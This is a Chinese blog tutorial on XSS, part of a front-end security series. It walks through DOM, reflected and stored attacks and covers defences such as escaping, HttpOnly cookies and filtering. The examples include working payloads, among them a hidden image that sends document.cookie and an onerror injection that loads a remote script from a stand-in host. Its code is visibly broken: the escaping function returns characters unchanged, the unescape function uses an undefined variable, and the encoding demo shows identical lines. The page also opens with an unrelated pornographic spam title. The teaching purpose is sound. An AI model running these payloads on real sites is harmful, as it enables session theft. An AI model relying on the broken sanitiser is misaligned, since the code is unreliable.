国产xxxx99真实实拍_久久不雅视频_高清韩国a级特黄毛片_嗯老师别我我受不了了小说

資訊專欄INFORMATION COLUMN

前端安全系列:XSS篇

xiaolinbang / 1176人閱讀

摘要:系列文章前端安全系列篇前端安全系列篇攻擊全稱跨站腳本攻擊,為不和層疊樣式表的縮寫混淆,故將跨站腳本攻擊縮寫為,是一種在應(yīng)用中的計(jì)算機(jī)安全漏洞,它允許惡意用戶將代碼植入到提供給其它用戶使用的頁面中。

系列文章:

前端安全系列:XSS篇
前端安全系列:CSRF篇

XSS攻擊

全稱跨站腳本攻擊,為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS,XSS是一種在web應(yīng)用中的計(jì)算機(jī)安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。

XSS攻擊的危害

盜取各類用戶帳號(hào),如機(jī)器登錄帳號(hào)、用戶網(wǎng)銀帳號(hào)、各類管理員帳號(hào)

控制企業(yè)數(shù)據(jù),包括讀取、篡改、添加、刪除企業(yè)敏感數(shù)據(jù)的能力

盜竊企業(yè)重要的具有商業(yè)價(jià)值的資料

非法轉(zhuǎn)賬

強(qiáng)制發(fā)送電子郵件

網(wǎng)站掛馬

控制受害者機(jī)器向其它網(wǎng)站發(fā)起攻擊

XSS漏洞的分類 本地利用漏洞

這種漏洞存在于瀏覽器頁面中,屬于前端自身問題基于DOM文檔對(duì)象模型的一種漏洞,大概步驟:

A給B發(fā)送一個(gè)惡意構(gòu)造的URL

B打開惡意URL

B的瀏覽器頁面中包含惡意代碼

A的惡意代碼可以擁有B的持有權(quán)限,進(jìn)而獲取B的數(shù)據(jù)或者冒充B的行為

通過修改瀏覽器頁面中的DOM(DocumentObjectModel)時(shí),就有可能產(chǎn)生這種漏洞

反射式漏洞

服務(wù)端沒有對(duì)數(shù)據(jù)進(jìn)行過濾、驗(yàn)證或者編碼等處理直接返回前端可能引起的漏洞

A給B發(fā)送一個(gè)惡意構(gòu)造的URL

B打開目標(biāo)網(wǎng)站,瀏覽器將包含惡意代碼的數(shù)據(jù)通過請(qǐng)求傳遞給服務(wù)端,其不加處理直接返回給瀏覽器

B的瀏覽器接收到響應(yīng)后解析并執(zhí)行的代碼中包含惡意代碼

A的惡意代碼可以擁有B的持有權(quán)限,進(jìn)而獲取B的數(shù)據(jù)或者冒充B的行為

常見于網(wǎng)站搜索欄,登錄注冊(cè)等地方竊取用戶cookies或者進(jìn)行釣魚欺騙.因?yàn)槠渲猩婕暗椒?wù)端的參與,想要避免需要后端協(xié)調(diào).

存儲(chǔ)式漏洞

類似反射式但是會(huì)把未經(jīng)處理的數(shù)據(jù)儲(chǔ)存在數(shù)據(jù)庫(kù)中

A將惡意代碼提交到目標(biāo)網(wǎng)站的數(shù)據(jù)庫(kù)中

B打開目標(biāo)網(wǎng)站,服務(wù)端將惡意代碼從數(shù)據(jù)庫(kù)取出拼接在HTML中返回給瀏覽器

B的瀏覽器接收到響應(yīng)后解析并執(zhí)行的代碼中包含惡意代碼

A的惡意代碼可以擁有B的持有權(quán)限,進(jìn)而獲取B的數(shù)據(jù)或者冒充B的行為

這是屬于持久性攻擊,涉及范圍可能包括所有的訪問用戶,一般常用網(wǎng)站留言,評(píng)論,博客日志等.

大致對(duì)比
類型 本地利用 反射式 存儲(chǔ)式
觸發(fā) 用戶打開惡意構(gòu)造的URL 用戶打開惡意構(gòu)造的URL 1, 用戶打開惡意構(gòu)造的URL
2, 攻擊者構(gòu)造腳本
儲(chǔ)存 URL URL 數(shù)據(jù)庫(kù)
輸出 前端 后端 后端
方式 DOM HTTP響應(yīng) HTTP響應(yīng)
XSS 常見案例 公司網(wǎng)站新上線一個(gè)搜索功能,B寫了這段代碼


    
        
        
        
        demo
        
    
    
        
input:

output:

完整源碼可以查看demo1
某天,讓A知道之后他輸入這么一段代碼,然后提交之后發(fā)現(xiàn)


類似的用戶輸入內(nèi)容都可能被攻擊者利用拼接特殊格式的字符串形成惡意代碼,通過注入腳本引發(fā)潛在風(fēng)險(xiǎn),瀏覽器不會(huì)區(qū)分善惡,只是按照代碼解析,于是B想了一個(gè)辦法告訴瀏覽器這段內(nèi)容不該解析,所以改了一下,簡(jiǎn)單轉(zhuǎn)義輸入內(nèi)容

function escapeHtml(text) {
  return text.replace(/[<>"&]/g, function(match, pos, originalText) {
    switch (match) {
      case "<":
        return "<";
      case ">":
        return ">";
      case "&":
        return "&";
      case """:
        return """;
    }
  });
}

function unescapeHtml(str) {
  return text.replace(/[<>"&]/g, function(match, pos, originalText) {
    switch (match) {
      case "<":
        return "<";
      case ">":
        return ">";
      case "&":
        return "&";
      case """:
        return """;
    }
  });
}

$submit.click(function() {
  var val = escapeHtml($input.val());
  $output.val(val).html(val);
});

完整源碼可以查看demo2
現(xiàn)在瀏覽器就不會(huì)再執(zhí)行里面的代碼了,實(shí)際業(yè)務(wù)中應(yīng)該轉(zhuǎn)義的內(nèi)容不止這么簡(jiǎn)單

基于某些業(yè)務(wù),例如登錄,訂單等需要攜帶參數(shù)或者重定向等信息,B寫了這么一個(gè)頁面


    
        
        demo
    
    
        
output: jump

完整源碼可以查看demo3
A發(fā)現(xiàn)一個(gè)漏洞,然后發(fā)了這個(gè)網(wǎng)址給其他人打開

https://www.test.com/?redirect_to=javascript:alert("XSS")

當(dāng)他們點(diǎn)擊跳轉(zhuǎn)的時(shí)候就會(huì)觸發(fā)A故意形成的惡意代碼

像這種情況B第一想法是檢驗(yàn)是否網(wǎng)址格式再渲染界面,所以他這么寫

function testUrl(str) {
  var Expression =
    "^((https|http|ftp|rtsp|mms)?://)?" +
    "(([0-9a-z_!~*().&=+$%-]+: )?[0-9a-z_!~*().&=+$%-]+@)?" + //ftp的user@
    "(([0-9]{1,3}.){3}[0-9]{1,3}|" + // IP形式的URL- 199.194.52.184
    "([0-9a-z_!~*()-]+.)*" + // 域名- www.
    "[a-z]{2,6})" + //域名的擴(kuò)展名
    "(:[0-9]{1,4})?" + // 端口- :80
    "((/?)|(/[0-9a-z_!~*().;?:@&=+$,%#-]+)+/?)$";
  var objExp = new RegExp(Expression);
  if (objExp.test(str) != true) {
    return false;
  } else {
    return true;
  }
}
var val = getQueryString("redirect_to");
$output.val(val);
testUrl(val) && $jump.attr("href", val);

完整源碼可以查看demo4
因?yàn)楦晃谋居袉栴},只能截圖.

但是不是每個(gè)a標(biāo)簽都是用于跳轉(zhuǎn)頁面的,例如通過Scheme協(xié)議打開APP界面

這樣子你就把其他非屬性跳轉(zhuǎn)的用法都干掉了,所以B想了想不妥,還是換一種方式禁止,直接判斷執(zhí)行前綴

var val = getQueryString("redirect_to");
var reg = /javascript:/gi;
$output.val(val);
!reg.test(val) && $jump.attr("href", val);

完整源碼可以查看demo5
因?yàn)闉g覽器不區(qū)分大小寫,所以需要注意一下.更新版本之后B以為已經(jīng)堵死這條路了,殊不知A換個(gè)方式改成編碼或者回車空格等

https://www.test.com/?redirect_to=jav ascript:alert("XSS");
https://www.test.com/?redirect_to=javascrip?74:alert("XSS");

這就尷尬了,雖然瀏覽器并不會(huì)執(zhí)行,但是這些也能完全避開B的攔截規(guī)則,也可能會(huì)引起其他隱患

還有種內(nèi)聯(lián)數(shù)據(jù)用法,將序列化的數(shù)據(jù)通過URL傳遞給其他頁面使用


    
        
        demo
    
    
        
output:

完整源碼可以查看demo6
A可以直接修改URL參數(shù)注入代碼

https://www.test.com/?data={"data":""}

A通過惡意腳本在頁面插入圖片自動(dòng)發(fā)起惡意請(qǐng)求
var img = document.createElement("img");
img.src =
  "http://www.test.com/cheat.html?url=" +
  escape(window.location.href) +
  "&content=" +
  escape(document.cookie);
img.style = "display:none";
document.body.appendChild(img);

完整源碼可以查看demo7
B讓服務(wù)端采用了比較簡(jiǎn)單的辦法使用httponly禁止JS腳本訪問cookies信息讓A無法拿到

A通過事件注入惡意腳本
var img = document.createElement("img");
img.src = "#";
img.onerror = document.body.appendChild(document.createElement("script")).src =
  "http://www.test.com/cheat.js";
img.style = "display:none";
document.body.appendChild(img);

完整源碼可以查看demo8
當(dāng)瀏覽器向web服務(wù)器發(fā)送請(qǐng)求的時(shí)候,一般會(huì)帶上Referer,告訴服務(wù)器我是從哪個(gè)頁面鏈接過來的,服務(wù)器基此可以獲得一些信息用于處理。可以讓服務(wù)端限制必須是白名單才能通過請(qǐng)求達(dá)到防盜鏈功能,但是丟失Refere情況比較多,而且容易被惡意修改,所以大多只適用于資源被惡意引用的情況

A利用瀏覽器的解碼順序進(jìn)行混合編碼組裝

當(dāng)瀏覽器進(jìn)行繪制時(shí),解碼順序分別為 HTML > URL > JS,所以A構(gòu)造了這么一段代碼

")">jump

首先是 HTML 解碼,結(jié)果為

")">jump

然后是 URL 解碼,結(jié)果為

")">jump

最后是 JS 解碼,結(jié)果為

")">jump

所以可以攻擊的方式很多種,相比于針對(duì)處理我們應(yīng)該先了解相關(guān)的攻擊方式

XSS攻擊方式

所有用戶輸入內(nèi)容都有潛在的風(fēng)險(xiǎn)

利用script標(biāo)簽注入HTML/Javascript代碼

利用擁有hrefsrc等屬性的標(biāo)簽

利用空格、回車和Tab等拼接方式繞開攔截

利用字符編碼繞開攔截(JS支持unicode、eacapes、十六進(jìn)制、十進(jìn)制等編碼形式)

利用onload,onscroll等事件執(zhí)行惡意代碼

利用樣式屬性backgrund-image等執(zhí)行(聽說主流瀏覽器已處理)

URL參數(shù)

Cookies

請(qǐng)求headerreferer

惡意代碼拆分組裝

各種API

// URL相關(guān)
document.location
document.URL
document.URLUnencoded
document.referrer
window.location
// 操作dom
document.write()
document.writeln()
document.boby.innerHtml
// 特殊函數(shù)
eval()
window.execScript()
window.setInterval()
window.setTimeout()
// 重定向
document.location
document.URL
document.open()
window.location.href
window.navigate()
window.open

總的來說分兩種類型:

攻擊者手動(dòng)提交惡意代碼

瀏覽器自動(dòng)執(zhí)行惡意代碼

防御 針對(duì)上面的案例如果B選擇前端進(jìn)行內(nèi)容轉(zhuǎn)義,會(huì)引起什么問題呢?

如果攻擊者不直接經(jīng)過前端界面,而是直接自己構(gòu)造請(qǐng)求就可以破解了

但是B是在發(fā)送請(qǐng)求之前轉(zhuǎn)義又會(huì)有什么問題?

如果是需要用于界面展示的話,引用到字段的地方都需要處理,大部分模板都會(huì)自動(dòng)轉(zhuǎn)義處理,但是如果用在JS不能直接使用或者計(jì)算,例如長(zhǎng)度判斷等

需要根據(jù)上下文采用不同的轉(zhuǎn)義規(guī)則增大處理難度,如 HTML 屬性、HTML 文字內(nèi)容、HTML 注釋、跳轉(zhuǎn)鏈接、內(nèi)聯(lián) JavaScript 字符串、內(nèi)聯(lián) CSS 樣式表等,所以這更適用于固定類型的內(nèi)容,例如URL,號(hào)碼等

前端基本的XSS攔截處理有哪些?
XSS Filter

用戶提交數(shù)據(jù)進(jìn)行驗(yàn)證,只接受限定長(zhǎng)度/內(nèi)容

表單數(shù)據(jù)指定具體類型

過濾移除特殊的html標(biāo)簽,scriptiframe

過濾移除特殊的Javascript代碼,javascript:和事件等

HTML Entity(舉例部分)
符號(hào) 實(shí)體編號(hào)
< <
> >
& &
" "
" '
空格  
請(qǐng)求限制

將重要的Cookie標(biāo)記為HTTP Only,不能通過客戶端腳本讀取和修改

設(shè)置referer防止惡意請(qǐng)求

實(shí)現(xiàn)Session標(biāo)記(session tokens)、CAPTCHA系統(tǒng)或者HTTP引用頭檢查,以防功能被第三方網(wǎng)站所執(zhí)行

文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請(qǐng)注明本文地址:http://specialneedsforspecialkids.com/yun/106426.html

相關(guān)文章

  • 前端安全系列:CSRF

    摘要:系列文章前端安全系列篇前端安全系列篇介紹跨站請(qǐng)求偽造,也被稱為或者,通常縮寫為或者,是一種對(duì)網(wǎng)站的惡意利用。 系列文章: 前端安全系列:XSS篇前端安全系列:CSRF篇 CSRF介紹 CSRF(Cross-site request forgery)跨站請(qǐng)求偽造,也被稱為One Click Attack或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對(duì)網(wǎng)站的惡意利...

    Java_oldboy 評(píng)論0 收藏0
  • 【面試】寒冬求職之你必須要懂的Web安全

    摘要:禁止內(nèi)聯(lián)腳本執(zhí)行規(guī)則較嚴(yán)格,目前發(fā)現(xiàn)使用。典型的攻擊流程受害者登錄站點(diǎn),并保留了登錄憑證。站點(diǎn)接收到請(qǐng)求后,對(duì)請(qǐng)求進(jìn)行驗(yàn)證,并確認(rèn)是受害者的憑證,誤以為是無辜的受害者發(fā)送的請(qǐng)求。攻擊完成,攻擊者在受害者不知情的情況下,冒充受害者完成了攻擊。 隨著互聯(lián)網(wǎng)的發(fā)展,各種Web應(yīng)用變得越來越復(fù)雜,滿足了用戶的各種需求的同時(shí),各種網(wǎng)絡(luò)安全問題也接踵而至。作為前端工程師的我們也逃不開這個(gè)問題,今天一起...

    yeyan1996 評(píng)論0 收藏0
  • 【面試】寒冬求職之你必須要懂的Web安全

    摘要:禁止內(nèi)聯(lián)腳本執(zhí)行規(guī)則較嚴(yán)格,目前發(fā)現(xiàn)使用。典型的攻擊流程受害者登錄站點(diǎn),并保留了登錄憑證。站點(diǎn)接收到請(qǐng)求后,對(duì)請(qǐng)求進(jìn)行驗(yàn)證,并確認(rèn)是受害者的憑證,誤以為是無辜的受害者發(fā)送的請(qǐng)求。攻擊完成,攻擊者在受害者不知情的情況下,冒充受害者完成了攻擊。 隨著互聯(lián)網(wǎng)的發(fā)展,各種Web應(yīng)用變得越來越復(fù)雜,滿足了用戶的各種需求的同時(shí),各種網(wǎng)絡(luò)安全問題也接踵而至。作為前端工程師的我們也逃不開這個(gè)問題,今天...

    charles_paul 評(píng)論0 收藏0
  • 前端——影子殺手

    摘要:前言對(duì)于一個(gè)影子殺手而言,總能殺人于無形。前端也有影子殺手,它總是防不勝防地危害著你的網(wǎng)站本篇打算介紹一些前端的影子殺手們和。影子殺手們,由來已久,幾乎伴隨著整個(gè)互聯(lián)網(wǎng)的發(fā)展。 前言 對(duì)于一個(gè)影子殺手而言,總能殺人于無形。前端也有影子殺手,它總是防不勝防地危害著你的網(wǎng)站 本篇打算介紹一些前端的影子殺手們——XSS和CSRF。或許,你對(duì)它恨之入骨;又或者,你運(yùn)用的得心應(yīng)手。恨之入骨,可能...

    李世贊 評(píng)論0 收藏0
  • 前端每周清單第 41 期 : Node 與 Rust、OpenCV 的火花,網(wǎng)絡(luò)安全二三事

    摘要:的網(wǎng)站仍然使用有漏洞庫(kù)上周發(fā)布了開源社區(qū)安全現(xiàn)狀報(bào)告,發(fā)現(xiàn)隨著開源社區(qū)的日漸活躍,開源代碼中包含的安全漏洞以及影響的范圍也在不斷擴(kuò)大。與應(yīng)用安全是流行的服務(wù)端框架,本文即是介紹如何使用以及其他的框架來增強(qiáng)應(yīng)用的安全性。 showImg(https://segmentfault.com/img/remote/1460000012181337?w=1240&h=826); 前端每周清單專注...

    syoya 評(píng)論0 收藏0

發(fā)表評(píng)論

0條評(píng)論

最新活動(dòng)
閱讀需要支付1元查看
<